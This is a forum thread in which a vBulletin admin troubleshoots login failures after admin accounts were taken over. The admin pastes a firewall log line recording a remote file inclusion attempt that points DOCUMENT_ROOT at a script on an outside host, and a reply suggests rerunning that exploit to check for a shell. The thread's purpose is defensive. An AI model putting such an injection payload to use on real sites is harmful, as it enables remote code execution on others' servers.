can log into admincp but not front page.

G

Gunner

New Member
Hi all,

Here's one I cant work out.
OK, I tried loggin into my forum and it said I had an incorrect password.
I requested a new pass and reset it. if I go to the forum and try loggin in it says "incorrect password" still but if I go to /admincp it works ok! :| confused, how can I log in via admincp and not the forum itself?... strange.

------
on another note:
One of my admins account was accessed (by him or someone with his pass) and my other admins passwords got changed. vBFirewall gives me this message.
1||1242564639||213.98.23.215||_SERVER[DOCUMENT_ROOT]=http://www.ionthenet.co.kr/note_log/ec.txt?||||libwww-perl/5.79
Click to expand...
 
disable the firewall piece of crap mod. The block that its showing is an attempted hack on your site. Its possible that the firewall is blocking everything, its pretty buggy. Disable it and see if the problem goes away. You can try to run that exploit your self and see if the bad guy got access or not. From the looks of the log message, it looks like he failed but If he didn't, it should open a shell to your site. In that case, you have some out of date hack that is vulnerable. You need to find it, fix it or delete/uninstall it.
 
Gunner said:
Hi all,

Here's one I cant work out.
OK, I tried loggin into my forum and it said I had an incorrect password.
I requested a new pass and reset it. if I go to the forum and try loggin in it says "incorrect password" still but if I go to /admincp it works ok! :| confused, how can I log in via admincp and not the forum itself?... strange.

------
on another note:
One of my admins account was accessed (by him or someone with his pass) and my other admins passwords got changed. vBFirewall gives me this message.
Click to expand...

First, Remove vBFirewall ...
Second, Protect your account in the config.php
(There is an option to NOT ALLOW changes to certain accounts - Protect Admins).
There are different levels of admins (Super Mods, Mods) etc etc. Even though you can access the Admincp, does not mean you can change much.

It also sounds like there is a mod/utility preventing you from doing a normal login (Bad hash/etc) - or been hacked... Use a backup, and remember to insure your security is working BEFORE going back online..
 
excellent, thanks for your help guys, vBFirewall has been disabled however it was all working fine for months and months before last night.

I can now no longer get access to the site using my name/password not even the admincp.

Once I get the email that gives me the new password it lets me in but once I navigate away/log off it says "Not correct password" again. like it resets everytime unless I stay on the page.

I updated the database with my old one from about 1 week ago and it still happens.

I have also added myself as an un-editable admin.

any other ideas please?...
 
You must log in or register to reply here.
Back
Top